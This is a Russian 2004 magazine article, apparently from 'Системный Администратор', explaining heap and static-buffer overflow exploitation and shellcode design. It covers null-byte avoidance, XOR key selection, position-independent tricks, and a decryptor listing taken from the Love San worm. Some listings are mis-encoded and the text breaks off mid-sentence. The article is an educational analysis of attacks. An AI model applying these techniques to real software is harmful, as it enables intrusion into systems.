В куче…Буфера, расположенные в динамической памяти, такжеподвержены переполнению. Многие программисты, лени-вые от природы, сначала выделяют буфер фиксирован-ного размера, а затем определяют, сколько памяти им не-обходимо, причем ситуацию недостатка памяти обрабо-тать традиционно забывают. В куче чаще всего встреча-ются переполняющиеся буфера двух типов: элементыструктур и динамически выделяемые блоки памяти.

Допустим, в программе имеется структура demo, со-держащая в том числе и буфер фиксированного размера:

Неосторожное обращение с обрабатываемыми данны-ми (например, отсутствие нужных проверок в нужном ме-сте) может привести к возможности переполнения буфе-ра buf и как следствие – затиранию расположенных за нимпеременных. В первую очередь это переменные-членысамой структуры (в данном случае – переменная b), стра-тегия модификации которых вполне типична и подчиня-ется тем же правилам – общим для всех переполняющих-ся буферов. Менее очевидна возможность затирания яче-ек памяти, лежащих за пределами выделенного блока па-мяти. Кстати, для буферов, монопольно владеющих всемвыделенным блоком памяти, это единственно возможнаястратегия переполнения вообще. Взгляните на следующийкод. Как вы думаете, что здесь можно переполнить?

Долгое время считалось, что переполнять здесь осо-бенно и нечего. Максимум – можно устроить банальныйDoS, но целенаправленно захватить управление жертвойневозможно в силу хаотичности распределения динами-ческих блоков по памяти. Базовый адрес блока p, вообщеговоря, случаен, и за его концом может быть расположеновсе что угодно, в том числе и невыделенный регион памя-ти, всякое обращение к которому приводит к немедленно-му исключению, аварийно завершающему программу.

На самом деле, все это не более чем расхожие заб-луждения. Сегодня переполнением динамических буфе-ров никого не удивишь. Эта технология широко и небе-зуспешно используется в качестве универсального (!) сред-ства захвата управления. Нашумевший червь Slapper –один из немногих червей, поражающий UNIX-машины –распространяется именно так. Как же такое возможно?Попробуем разобраться…

Ðèñóíîê 1. Êàðòà  ðàñïðåäåëåíèÿ  ñòåêîâîé  ïàìÿòè

Ëèñòèíã 1. Ïðèìåð ñòðóêòóðû ñ ïåðåïîëíÿþùèìñÿ áóôåðîì âíóò-ðè (îí âûäåëåí êðàñíûì öâåòîì)strict demo{

int a;char buf[8];int b;

}

Ëèñòèíã 2. Ïðèìåð  äèíàìè÷åñêîãî  áëîêà  ïàìÿòè,  ïîäâåðæåííîãîïåðåïîëíåíèþ#define  MAX_BUF_SIZE 8#define  MAX_STR_SIZE 256char *p;�p = malloc(MAX_BUF_SIZE);�strncpy(p,  MAX_STR_SIZE,  str);

Page 35: 017 Системный Администратор 04 2004

33№4(17), апрель 2004

безопасность

Выделение и освобождение динамической памяти дей-ствительно происходит довольно сумбурно – беспорядоч-но, и за концом нашего блока в произвольный моментвремени может быть расположен любой другой блок. Дажепри последовательном выделении нескольких блоков па-мяти никто не может гарантировать, что при каждом за-пуске программы они будут выделяться в одном и том жепорядке, поскольку это зависит от размера и порядка ос-вобождения предыдущих выделяемых буферов. Тем неменее, устройство служебных структур данных, пронизы-вающих динамическую память своеобразным несущимкаркасом, легко предсказуемо, хотя и меняется от однойверсии библиотеки компилятора к другой.

Существует множество реализаций динамической па-мяти, и различные производители используют различныеалгоритмы. Выделяемые блоки памяти могут быть нани-заны и на дерево, и на одно/двух-связанный список, ссыл-ки на который могут быть представлены как указателя-ми, так и индексами, хранимыми либо в начале/конце каж-дого выделяемого блока, либо в отдельной структуре дан-ных. Причем последний способ реализации по ряду при-чин встречается крайне редко.

Рассмотрим следующую организацию динамическойпамяти, при которой все выделяемые блоки соединеныпосредством двухсвязных списков, указатели на которыхрасположены в начале каждого блока (см. рис. 2), причемсмежные блоки памяти не обязательно должны находить-ся в соседних элементах списка, т.к. в процессе много-кратных операций выделения/освобождения список неиз-бежно фрагментируется, а постоянно дефрагментироватьего себе дороже.

Переполнение буфера приводит к затиранию служеб-ных структур следующего блока памяти и как следствие –возможности их модификации. Но что это нам дает? Ведьдоступ к ячейкам всякого блока осуществляется по ука-

зателю, возращенному программе в момент его выделе-ния, а отнюдь не по «служебному» указателю, который мысобираемся затирать! Служебные указатели используют-ся исключительно функциями malloc/free (и другими по-добными им функциями). Искажение указателя на следу-ющий/предыдущий блок позволяет навязать адрес сле-дующего выделяемого блока, например, «наложив» егона доступный нам буфер, но никаких гарантий, что этополучится, у нас нет – при выделении блока памяти функ-ция malloc ищет наиболее подходящий с ее точки зрениярегион свободной памяти (обычно это первый свободныйблок в цепочке, совпадающий по размеру с запрошенным),и не факт, что наш регион ей подойдет. Короче говоря, невоодушевляющая перспектива получается.

Освобождение блоков памяти – другое дело! Дляуменьшения фрагментации динамической памяти функ-ция free автоматически объединяет текущий освобожда-емый блок со следующим, если тот тоже свободен. По-скольку смежные блоки могут находиться на различныхконцах связывающего их списка, перед присоединениемчужого блока памяти функция free должна «выбросить»его из цепочки. Это осуществляется путем склейки пред-шествующего и последующего указателей, что в псевдо-коде выглядит приблизительно так: *указатель на следу-ющий блок в цепочке = указатель на предыдущий блок вцепочке. Постойте, но ведь это… Да! Это аналог бейсик-функции POKE, позволяющий нам модифицировать лю-бую ячейку уязвимой программы!

Подробнее об этом можно прочитать в статье «Once upona free()…», опубликованной в 39h-номере электронногожурнала PHRACK, доступного по адресу www.phrack.org.Статья перегружена техническими подробностями реали-зации динамической памяти в различных библиотеках инаписана довольно тяжелым языком, но ознакомиться сней, безусловно, стоит.

Как правило, возможность записи в память исполь-зуется для модификации таблицы импорта с целью под-мены некоторой API-функции, гарантированно вызыва-емой уязвимой программой, вскоре после переполнения(«вскоре», потому что часы ее уже сочтены – целостностьссылочного каркаса динамической памяти нарушена, иэто неустойчивое сооружение в любой момент может рух-нуть, пустив программу в разнос). К сожалению, пере-дать управление на переполняющийся буфер скорее все-го не удастся, т.к. его адрес наперед неизвестен, и тутприходится импровизировать. Во-первых, злоумышлен-ник может разместить shell-код в любом другом доступ-ном ему буфере с известным адресом (см. «В секцииданных…»). Во-вторых, среди функций уязвимой про-граммы могут встретиться и такие, что передают управ-ление на указатель, переданный им с тем или иным ар-гументом (такую функцию условимся называть функци-ей f). После чего останется найти API-функцию, прини-мающую указатель на переполняющийся буфер и под-менить ее адрес адресом функции f. В Си++ программахс их виртуальными функциями и указателями this такаяситуация случается не так уж и редко, хотя и распрост-раненной ее тоже не назовешь. Но при проектированииshell-кода на универсальные решения закладываться,

Ðèñóíîê 2. Êàðòà  ïðèáëèçèòåëüíîãî  ðàñïðåäåëåíèÿ  äèíàìè÷åñêîéïàìÿòè

Page 36: 017 Системный Администратор 04 2004

34

безопасность

вообще говоря, и не приходится. Проявите инженернуюсмекалку, удивите мир!

Будьте заранее готовы к тому, что в некоторых реали-зациях кучи вы встретитесь не с указателями, а с индек-сами, которые в общем случае представляют собой отно-сительные адреса, отсчитываемые либо от первого байтакучи, либо от текущей ячейки памяти. Последний случайвстречается наиболее часто (в частности, штатная биб-лиотека компилятора MS VC 6.0 построена именно так),поэтому имеет смысл рассмотреть его поподробнее. Какуже говорилось выше, абсолютные адреса переполняю-щего буфера заранее неизвестны и непредсказуемым об-разом изменяются под воздействием ряда обстоятельств.Адреса же ячеек, наиболее соблазнительных для моди-фикации, напротив, абсолютны. Что делать? Можно, ко-нечно, исследовать стратегию выделения/освобожденияпамяти для данного приложения на предмет выявлениянаиболее вероятных комбинаций – кое-какие закономер-ности в назначении адресов переполняющимся буферам,безусловно, есть. Методично перебирая все возможныеварианты один за другим, атакующий рано или позднозахватит управление сервером (правда, перед этим не-сколько раз его завесит, демаскируя атаку и усиливаябдительность администраторов).

В секции данных…Переполняющиеся буфера, расположенные в секции дан-ных (статические буфера) – настоящая золотая жила сточки зрения злоумышленника! Это единственный типбуферов, адреса которых явно задаются еще на этапекомпиляции (вообще-то не компиляции, а компоновки, ноэто уже детали) и постоянны для каждой конкретной вер-сии уязвимого приложения независимо от того, на какойоперационной системе она выполняется.

Самое главное – секция данных содержит огромное ко-личество указателей на функции/данные, глобальные фла-ги, дескрипторы файлов и кучи, имена файлов, текстовыестроки, буфера некоторых библиотечных функций… Прав-да, до всего этого богатства еще предстоит «дотянуться»и, если длина переполняющегося буфера окажется жесткоограничена сверху (как часто и случается), атакующий неполучит от последнего никаких преимуществ!

К тому же, если стек и куча гарантированно содер-жат указатели в определенных местах и поддерживаютболее или менее универсальные механизмы захвата уп-равления, то в случае со статическими буферами атаку-ющему остается надеяться лишь на удачу. А удача, какизвестно, баба подлая, и переполнения статических бу-феров носят единичный характер и всегда развиваютсяпо уникальному сценарию, не допускающему обобщаю-щей классификации.

Секреты проектирования shell-кодаПопытка реализовать собственный shell-код неминуемонаталкивает атакующего на многочисленные ограничения,одни из которых обходятся путем хитроумных хаков и из-вращений, с другими же приходится мириться, восприни-мая их как неотъемлемую часть жестоких сил природы.

Запрещенные символыСтроковые переполняющиеся буфера (в особенности те,что относятся к консольному вводу и клавиатуре) налага-ют жесткие ограничения на ассортимент своего содержи-мого. Самое неприятное ограничение заключается в том,что символ нуля на всем протяжении строки может встре-чаться лишь однажды и лишь на конце строки (правда,это ограничение не распространяется на UNICODE-стро-ки). Это затрудняет подготовку shell-кода и препятствуетвыбору произвольных целевых адресов. Код, не исполь-зующий нулевых байт, принято называть Zero Free-кодом,и техника его подготовки – настоящая Камаcутра.

Искусство затирания адресовРассмотрим ситуацию, когда следом за переполняющим-ся буфером идет уязвимый указатель на вызываемуюфункцию (или указатель this), а интересующая злоумыш-ленника функция root располагается по адресу 00401000h.Поскольку только один символ, затирающий указатель,может быть символом нуля, то непосредственная записьтребуемого значения невозможна, и приходится хитрить.

Начнем с того, что в 32-разрядных операционных сис-темах (к которым, в частности, принадлежит Windows NTи многие клоны UNIX) стек, данные и код большинства при-ложений лежат в узком диапазоне адресов: 00100000h –~00x00000h, т.е. как минимум один ноль у нас уже есть –и это старший байт адреса. В зависимости от архитекту-ры процессора он может располагаться как по младшим,так и по старшим адресам. Семейство x86-процессоровдержит его в старших адресах, что с точки зрения атаку-ющего очень даже хорошо, поскольку мы можем навязатьуязвимому приложению любой XxYyZzh-адрес, при усло-вии, что Xx, Yy и Zz не равны нулю.

Теперь давайте рассуждать творчески: позарез необ-ходимый нам адрес 401000h в прямом виде недостижим впринципе. Но, может быть, нас устроит что-нибудь дру-гое? Например, почему бы не начать выполнение функ-ции не с первого байта? Функции с классическим проло-гом (коих вокруг нас большинство) начинаются с инструк-ции PUSH EBP, сохраняющей значение регистра EBP встеке. Если этого не сделать, то при выходе функция не-пременно грохнется, но… это уже будет не важно (своюмиссию функция выполнила и все, что было нужно атаку-ющему, она выполнила). Хуже, если паразитный символнуля встречается в середине адреса или присутствует внем дважды, например – 50000h.

В некоторых случаях помогает способ коррекции су-ществующих адресов. Допустим, затираемый указательсодержит адрес 5000FAh. Тогда, для достижения желае-мого результата атакующий должен затереть один лишьмладший символ адреса, заменив FAh символом нуля.

Как вариант можно попробовать поискать в дизассем-блерном листинге команду перехода (вызова) интересу-ющей нас функции, – существует вероятность, что онабудет располагаться по «правильным» адресам. При ус-ловии, что целевая функция вызывается не однажды ивызовы следуют из различных мест (а обычно именно таки бывает), вероятность, что хотя бы один из адресов нам«подойдет», весьма велика.

Page 37: 017 Системный Администратор 04 2004

35№4(17), апрель 2004

безопасность

Следует также учитывать, что некоторые функции вво-да не вырезают символ перевода каретки из вводимойстроки, чем практически полностью обезоруживают ата-кующих. Непосредственный ввод целевых адресов ста-новится практически невозможным (ну что интересногоможно найти по адресу 0AXxYyh?), коррекция существу-ющих адресов хотя и остается возможной, но на практикевстретить подходящий указатель крайне маловероятно(фактически мы ограничены лишь одним адресом ??000A,где ?? – прежнее значение уязвимого указателя). Един-ственное, что остается – полностью затереть все 4-байтауказателя вместе с двумя последующими за ним байта-ми. Тогда мы сможем навязать уязвимому приложениюлюбой FfXxYyZz, где Ff > 00h. Этот регион обычно принад-лежит коду операционной системы и драйверам. С нену-левой вероятностью здесь можно найти машинную коман-ду, передающую управление по целевому адресу. В про-стейшем случае это CALL адрес/JMP адрес (что достаточ-но маловероятно), в более общем случае – CALL регистр/JMP регистр. Обе – двухбайтовые команды (FF Dx и FF Exсоответственно), и в памяти таких последовательностейсотни! Главное, чтобы на момент вызова затертого указа-теля (а значит, и на момент передачи управления коман-де CALL регистр/JMP регистр) выбранный регистр содер-жал требуемый целевой адрес.

Штатные функции консольного ввода интерпретируютнекоторые символы особым образом (например, символ скодом 008 удаляет символ, стоящий перед курсором) и они[censored] еще до попадания в уязвимый буфер. Следуетбыть готовым и к тому, что атакуемая программа контро-лирует корректность поступающих данных, откидывая всенетекстовые символы или (что еще хуже) приводит их кверхнему/нижнему регистру. Вероятность успешной атаки(если только это не DoS-атака) становится исчезающе мала.

Подготовка shell-кодаВ тех случаях, когда переполняющийся строковой буфериспользуется для передачи двоичного shell-кода (напри-мер, головы червя), проблема нулевых символов стоитчрезвычайно остро – нулевые символы содержатся как вмашинных командах, так и на концах строк, передавае-мых системным функциям в качестве основного аргумен-та (обычно это «cmd.exe» или «/bin/sh»).

Для изгнания нулей из операндов машинных инструк-ций следует прибегнуть к адресной арифметике. Так, на-пример, MOV EAX,01h (B8 00 00 00 01) эквивалентно XOREAX,EAX/INC EAX (33 C0 40). Последняя запись, кстати,даже короче. Текстовые строки (вместе с завершающимнулем в конце) также могут быть сформированы непос-редственно на вершине стека, например:

Как вариант можно воспользоваться командой XOREAX,EAX/MOV [XXX], EAX, вставляющей завершающий

нуль в позицию XXX, где XXX – адрес конца текстовой стро-ки, вычисленный тем или иным способом (см. «В поискахсамого себя»).

Более радикальным средством предотвращения появ-ления нулей является шифровка shell-кода, в подавляю-щем большинстве случаев сводящаяся к тривиальномуXOR. Основную трудность представляет поиск подходяще-го ключа шифрования – ни один шифруемый байт не дол-жен обращаться в символ нуля. Поскольку, a XOR a == 0,для шифрования подойдет любой байтовый ключ, не со-впадающий ни с одним байтом shell-кода. Если же в shell-коде присутствует полный набор всех возможных значе-ний от 00h до FFh, следует увеличить длину ключа до сло-ва и двойного слова, выбирая ее так, чтобы никакой байтнакладываемой гаммы не совпадал ни с одним шифруе-мым байтом. А как построить такую гамму (метод перебо-ра не предлагать)? Да очень просто – подсчитываем час-тоту каждого из символов shell-кода, отбираем 4 симво-ла, которые встречаются реже всего, выписываем их сме-щения относительно начала shell-кода в столбик и вычис-ляем остаток от деления на 4. Вновь записываем полу-ченные значения в столбик, отбирая те, которые в нем невстречаются, – это и будут позиции данного байта в клю-че. Непонятно? Не волнуйтесь, сейчас все это разберемна конкретном примере.

Допустим, в нашем shell-коде наиболее «низкочастот-ными» оказались символы 69h, ABh, CCh, DDh, встреча-ющиеся в следующих позициях:

После вычисления остатка от деления на 4 над каждымиз смещений мы получаем следующий ряд значений:

Мы получили четыре ряда данных, представляющихсобой позиции наложения шифруемого символа на гам-му, в которой он обращается в нуль, что недопустимо,поэтому нам необходимо выписать все значения, которыене встречаются в каждом ряду данных:

Теперь из полученных смещений можно собрать гам-му, комбинируя их таким образом, чтобы каждый сим-

Ëèñòèíã 3. Ðàçìåùåíèå ñòðîêîâûõ àðãóìåíòîâ íà ñòåêåñ äèíàìè÷åñêîé ãåíåðàöèåé çàâåðøàþùåãî ñèìâîëà íóëÿ00000000: 33C0 xor eax,eax00000002: 50 push eax00000003:  682E657865 push 06578652E  ;"exe."00000008:  682E636D64 push 0646D632E  ;"dmc."

Ëèñòèíã 4. Òàáëèöà  ñìåùåíèé  íàèáîëåå  «íèçêî÷àñòîòíûõ»ñèìâîëîâ, îòñ÷èòûâàåìûõ îò íà÷àëà øèôðóåìîãî êîäàñèìâîë ñìåùåíèÿ ïîçèöèé âñåõ åãî âõîæäåíèé----------------------------------------------69h 04h, 17h, 21hABh 12h, 1Bh, 1Eh, 1Fh, 27hCCh 01h, 15h, 18h, 1Ch, 24h, 26hDDh 02h, 03h, 06h, 16h, 19h, 1Ah, 1Dh

Ëèñòèíã 5. Òàáëèöà îñòàòêîâ îò äåëåíèÿ ñìåùåíèé íà 4ñèìâîë îñòàòîê îò äåëåíèÿ ñìåùåíèé ïîçèöèé íà 4---------------------------------------------------69h 00h, 03h, 00hABh 02h, 03h, 02h, 03h, 03hCCh 01h, 01h, 00h, 00h, 00h, 02hDDh 02h, 03h, 02h, 02h, 01h, 02h, 01h

Ëèñòèíã 6. Òàáëèöà ïîäõîäÿùèõ ïîçèöèé ñèìâîëîâ êëþ÷à â ãàììåñèìâîë ïîäõîäÿùèå ïîçèöèè â ãàììå-------------------------------------69h 01h, 02hABh 00h, 01hCCh 03hDDh 00h

Page 38: 017 Системный Администратор 04 2004

36

безопасность

вол встречался в гамме лишь однажды. Смотрите, сим-вол DDh может встречаться только в позиции 00h, сим-вол CCh – только в позиции 03h, а два остальных симво-ла – в любой из оставшихся позиций. То есть это будетлибо DDh ABh 69h ССh, либо DD 69h ABh 69h. Если жегамму собрать не удается – необходимо увеличить еедлину. Разумеется, выполнять все расчеты вручную со-вершенно необязательно, и эту работу можно перело-жить на компьютер.

Естественно, перед передачей управления на зашиф-рованный код он должен быть в обязательном порядкерасшифрован. Эта задача возлагается на расшифровщик,к которому предъявляются следующие требования: ондолжен быть:а) по возможности компактным;б) позиционно независимым (т.е. полностью перемеща-

емым);в) не содержать в себе символов нуля.

В частности, червь Love San поступает так:

Вчера были большие, но по пять…или размер тоже имеет значение!По статистике габариты подавляющего большинства пе-реполняющихся буферов составляют 8 байт. Значитель-но реже переполняются буфера, вмещающие в себя от 16до 128 (512) байт, а буферов больших размеров в живойприроде практически не встречается.

Закладываясь на худший из возможных вариантов (а вбоевой обстановке атакующим приходится действоватьименно так!), учитесь выживать даже в жесточайших усло-виях окружающей среды с минимумом пищи, воды и кис-лорода. В крошечный объем переполняющегося буфераможно вместить очень многое, если подходить ко всяко-му делу творчески и думать головой.

Первое (и самое простое), что пришло нашим хакерс-ким предкам в голову – это разбить атакующую програм-му на две неравные части – компактную голову и протяж-ный хвост. Голова обеспечивает следующие функции:переполнение буфера, захват управления и загрузку хво-ста. Голова может нести двоичный код, но может обхо-диться и без него, осуществляя всю диверсионную дея-тельность руками уязвимой программы. Действительно,многие программы содержат большое количество служеб-ных функций, дающих полный контроль над системой или,на худой конец, позволяют вывести себя из строя и пойтив управляемый разнос. Искажение одной или несколькихкритических ячеек программы ведет к ее немедленномуобрушению, и количество искаженных ячеек начинает ра-сти как снежный ком. Через длинную или короткую це-почку причинно-следственных событий в ключевые ячей-ки программы попадают значения, необходимые злоумыш-леннику. Причудливый узор мусорных байт внезапно скла-дывается в законченную комбинацию, замок глухо щел-кает и дверцы сейфа медленно раскрываются. Это похо-же на шахматную головоломку с постановкой мата в Nходов, причем состояние большинства полей неизвестно,поэтому сложность задачи быстро растет с увеличениемглубины N.

Конкретные примеры головоломок привести сложно,т.к. даже простейшие из них занимают несколько страницубористого текста (в противном же случае листинги выг-лядят слишком искусственно, а решение лежит букваль-но на поверхности). Интересующиеся могут обратиться ккоду червя Slapper, до сих пор остающемуся непревзой-денным эквилибристом по глубине атаки и детально про-анализированным специалистами компании Symantec, от-чет которых можно найти на их же сайте (см. «An Analysisof the Slapper Worm Exploit»).

Впрочем, атаки подобного типа скорее относятся к эк-зотике интеллектуальных развлечений, чем к практичес-ким приемам вторжения в систему и потому чрезвычайномало распространены. В плане возвращения к средствамтрадиционной «мануальной терапии», отметим, что еслиразмер переполняющегося буфера равен 8 байтам, отсю-да еще не следует, что и длина shell-кода должна быть

Ëèñòèíã 7. Ðàñøèôðîâùèê  shell-êîäà,  âûäðàííûé  èç  âèðóñàLove San.data:0040458B EB 19 jmp short  loc_4045A6.data:0040458B ; çäåñü ìû ïðûãàåì â ñåðåäèíó êîäà,.data:0040458B ; ÷òîáû ïîòîì ñîâåðøèòü CALL íàçàä.data:0040458B; (CALL âïåðåä ñîäåðæèò çàïðåùåííûå ñèìâîëû íóëÿ).data:0040458DCODE XREF: sub_40458D+19↓↓↓↓↓p.data:0040458D  sub_40458Dproc near;.data:0040458D.data:0040458D  5E pop esi ; ESI := 4045ABh; âûòàëêèâàåì èç ñòåêà àäðåñ âîçâðàòà, ïîìåùåííûé òóäà; êîìàíäîé CALL.data:0040458D; ýòî íåîáõîäèìî äëÿ îïðåäåëåíèÿ ñâîåãî ìåñòîïîëîæåíèÿ â ïàìÿòè.data:0040458D.data:0040458D  ;.data:0040458E 31 C9 xor ecx, ecx.data:0040458E ; îáíóëÿåì ðåãèñòð ECX.data:0040458E  ;.data:00404590 81 E9 89 FF FF sub ecx, -77h.data:00404590 ; óâåëè÷èâàåì ECX íà 77h (óìåíüøàåì ECX íà �77h); êîìáèíàöèÿ XOR ECX,ECX/SUB ECX, -77h ýêâèâàëåíòíà MOV ECX, 77h.data:00404590; çà òåì èñêëþ÷åíèåì, ÷òî åå ìàøèííîå ïðåäñòàâëåíèå íå ñîäåðæèò; â ñåáå íóëåé.data:00404590.data:00404590.data:00404596.data:00404596 loc_404596: ; CODE XREF: sub_40458D+15↓↓↓↓↓j.data:00404596 81 36 80 BF 32 xor dword ptr [esi], 9432BF80h; ðàñøèôðîâûâàåì î÷åðåäíîå äâîéíîå ñëîâî ñïåöèàëüíî; ïîäîáðàííîé ãàììîé.data:00404596.data:00404596  ;.data:0040459C 81 EE FC FF FF sub esi, -4h; óâåëè÷èâàåì ESI íà 4h (ïåðåõîäèì ê ñëåäóþùåìó äâîéíîìó ñëîâó).data:0040459C.data:0040459C  ;.data:004045A2 E2 F2 loop loc_404596.data:004045A2 ; ìîòàåì öèêë, ïîêà åñòü ÷òî ðàñøèôðîâûâàòü.data:004045A2  ;.data:004045A4 EB 05 jmp short  loc_4045AB; ïåðåäàåì óïðàâëåíèå ðàñøèôðîâàííîìó shell-êîäó.data:004045A4.data:004045A4  ;.data:004045A6 loc_4045A6: ; CODE XREF: .data:0040458B↑↑↑↑↑j.data:004045A6 E8 E2 FF FF FF call sub_40458D; ïðûãàåì íàçàä, çàáðàñûâàÿ àäðåñ âîçâðàòà (à ýòî � àäðåñ; ñëåäóþùåé âûïîëíÿåìîé èíñòðóêöèè) íà âåðøèíó ñòåêà, ïîñëå; ÷åãî âûòàëêèâàåì åãî â ðåãèñòð ESI, ÷òî ýêâèâàëåíòíî; MOV ESI, EIP, íî òàêîé ìàøèííîé êîìàíäû â ÿçûêå; x86 ïðîöåññîðîâ íåò.data:004045A6.data:004045A6.data:004045A6

.data:004045A6

.data:004045A6  ;

.data:004045AB ; íà÷àëî ðàñøèôðîâàííîãî òåêñòà

Page 39: 017 Системный Администратор 04 2004

37№4(17), апрель 2004

безопасность

равна тем же 8 байтам. Ведь это же переполняющийсябуфер! Но не стоит бросаться и в другую крайность, наде-яться, что предельно допустимая длина shell-кода окажет-ся практически неограниченной. Подавляющее большин-ство уязвимых приложений содержат несколько уровнейпроверок корректности пользовательского ввода, которыебудучи даже не совсем правильно реализованными, все-таки налагают определенные, подчас весьма жесткие,ограничения на атаку.

Если в куцый объем переполняющегося буфера вмес-тить загрузчик никак не удается, атакующий переходит кплану «B», заключающемуся в поиске альтернативныхспособов передачи shell-кода. Допустим, одно из полейпользовательского пакета данных допускает переполне-ние, приводящее к захвату управления, но его размеркатастрофически мал. Но ведь остальные поля тоже со-держатся в оперативной памяти! Так почему бы не исполь-зовать их для передачи shell-кода? Переполняющийсябуфер, воздействуя на систему тем или иным образом,должен передать управление не на свое начало, а на пер-вый байт shell-кода, если, конечно, атакующий знает от-носительный или абсолютный адрес последнего в памя-ти. Поскольку простейший способ передачи управленияна автоматические буфера сводится к инструкцииJMP ESP, то наиболее выгодно внедрять shell-код в тебуфера, которые расположены в непосредственной бли-зости от вершины стека, в противном случае ситуациярискует самопроизвольно выйти из под контроля и длясоздания надежно работающего shell-кода атакующемупридется попотеть. Собственно говоря, shell-код можетнаходиться в самых неожиданных местах, например, в хво-сте последнего TCP-пакета (в подавляющем большинствеслучаев он попадает в адресное пространство уязвимогопроцесса, причем зачастую располагается по более илименее предсказуемым адресам).

В более сложных случаях shell-код может быть пере-дан отдельным сеансом, – злоумышленник создает не-сколько подключений к серверу, по одному передаетсяshell-код (без переполнения, но в тех полях, размер кото-рых достаточен для его вмещения), а другому –запрос,вызывающий переполнение и передающий управление наshell-код. Дело в том, что в многопоточных приложенияхлокальные стеки всех потоков располагаются в единомадресном пространстве процесса и их адреса назначают-ся не хаотичным, а строго упорядоченным образом. Приусловии, что между двумя последними подключениями,установленными злоумышленником, к серверу не подклю-чился кто-то еще, «трас-поточное» определение адресовпредставляет собой хоть и сложную, но вполне разреши-мую проблему.

В поисках самого себяПредположим, что shell-код наделен сознанием (хотя этои не так). Что бы мы ощутили, оказавшись на его месте?Представьте себе, что вы диверсант-десантник котороговыбрасывают куда-то в пустоту. Вас окружает враждеб-ная территория и еще темнота. Где вы? В каком местеприземлились? Рекогносцировка на местности (лат.recognoscere [рассматривать] – разведка с целью получе-

ния сведений о расположении противника, его огневыхсредствах, особенностях местности, где предполагаютсябоевые действия, и т. п. проводимая командирами илиофицерами штаба перед началом боевых действий) и бу-дет вашей первой задачей (а если вас занесет в болото,то и последней тоже).

Соответственно, первой задачей shell-кода являетсяопределение своего местоположения в памяти или стро-го говоря, текущего значения регистра указателя команд(в, частности, в x86-процессорах это регистр EIP).

Статические буфера, расположенные в секции данных,располагаются по более или менее предсказуемым адре-сам, легко выявляемых дизассемблированием уязвимо-го приложения. Однако они чрезвычайно чувствительнык версии атакуемого приложения и в меньшей степени –к модели операционной системы (различные операцион-ные системы имеют неодинаковый нижний адрес загруз-ки приложений). Динамические библиотеки в большинствесвоем перемещаемы и могут загружаться в память поразличным базовым адресам, хотя при статической ком-поновке каждый конкретный набор динамических библио-тек всегда загружается одним и тем же образом. Автома-тические буфера, расположенные в стеке, и динамичес-кие буфера, расположенные в куче, размещаются по чрез-вычайно трудно предсказуемым или даже совершеннонепредсказуемым адресам.

Использование абсолютной адресации (или, говорядругими словами, жесткой привязки к конкретным адре-сам, вроде MOV EAX, [406090h]) ставит shell-код в зави-симость от окружающей среды и приводит к многочис-ленным обрушениям уязвимых приложений, в которыхбуфер оказался не там, где ожидалось. «Из чего толькоделают современных хакеров, что они даже переполнитьбуфер, не угробив при этом систему, оказываются не всостоянии?» – вздыхает прошлое поколение. Чтобы этогоне происходило, shell-код должен быть полностью пере-мещаемым – т.е. уметь работать в любых, заранее ему неизвестных адресах.

Поставленную задачу можно решить двумя путями –либо использовать только относительную адресацию (чтона x86-платформе в общем-то недостижимо), либо само-стоятельно определять свой базовый адрес загрузки ивести «летоисчисление» уже от него. И тот, и другой спо-соб рассматриваются ниже, с характерной для хакеровподробностью и обстоятельностью.

Семейство x86-процессоров с относительной адреса-цей категорически не в ладах, и разработка shell-кода дляних – это отличная гимнастика для ума. Всего имеется двеотносительные команды (CALL и JMP/Jx с опкодами E8h иEbh,E9h/7xh,0F 8xh соответственно) и обе – команды уп-равления. Непосредственное использование регистра EIPв адресных выражениях запрещено.

Использование относительных CALL в 32-разрядномрежиме имеет свои трудности. Аргумент команды зада-ется знаковым 4-байтовым целым, отсчитываемым от на-чала следующей команды, и при вызове нижележащихподпрограмм в старших разрядах, содержащих одни нули.А поскольку в строковых буферах символ нуля можетвстретиться лишь однажды, такой shell-код просто не смо-

Page 40: 017 Системный Администратор 04 2004

38

безопасность

жет работать. Если же заменить нули на что-то другое,можно совершить очень далекий переход, далеко выхо-дящий за пределы выделенного блока памяти.

Уж лучше прыгать назад – в область младших адре-сов, тогда нули волшебным образом превратятся в сим-волы с кодом FFh (которые, кстати говоря, так же отно-сятся к категории «трудных» символов, которые соглаша-ются проглотить далеко не все уязвимые программы).Применив военную хитрость и засадив в инструкцию пре-фикс 66h, мы не только сократим длину машинной коман-ды на один байт (что в ряде случаев весьма актуально),но и оторвем два старших байта операнда (те, которыебыли с нулевыми символами).

В машинном виде все это выглядит приблизительно так:

Сказанное справедливо и по отношению к командеJMP, за тем лишь исключением, что команды условногоперехода (равно как и команда JMP SHORT) размещаютсвой адрес перехода в одном-единственном байте, что нетолько усиливает компактность кода, но и избавляет насот проблемы «трудных» символов.

Если же необходимо совершить переход по абсолютно-му адресу (например, вызвать некоторую системную функ-цию или функцию уязвимой программы), можно восполь-зоваться конструкцией CALL регистр/JMP регистр, предва-рительно загрузив регистр командой MOV регистр, непос-редственный операнд (от нулевых символов можно изба-виться с помощью команд адресной арифметики) или ко-мандой CALL непосредственный операнд с опкодом FF /2,9A или FF /3 для ближнего, дальнего и перехода по операн-ду в памяти соответственно.

Относительная адресация данных (в т.ч. и самомоди-фицирующегося кода) обеспечивается на порядок слож-нее. Все имеющиеся в нашем распоряжении команды ад-ресуются исключительно относительно регистра-указате-ля верхушки стека (в x86 процессорах это регистр ESP),что, конечно, довольно привлекательно само по себе, нои таит определенную внутреннюю опасность. Положениеуказателя стека после переполнения в общем случае неопределено, и наличие необходимого количества стеко-вой памяти не гарантировано. Так что действовать прихо-дится на свой страх и риск.

Стек можно использовать и для подготовки строковых/числовых аргументов системных функций, формируя их ко-мандой PUSH и передавая через относительный указательESP + X, где X может быть как числом, так и регистром. Ана-логичным образом осуществляется и подготовка самомоди-фицирующегося кода – мы «пишем» код в стек и модифи-цируем его, отталкиваясь от значения регистра ESP.

Любители же «классической миссионерской» могутпойти другим путем, определяя текущую позицию EIP по-средством конструкции CALL $ + 5/RET, правда в лоб та-кую последовательность машинных команд в строковойбуфер не передать, т.к. 32-разрядный аргумент командыCALL содержит несколько символов нуля. В простейшем

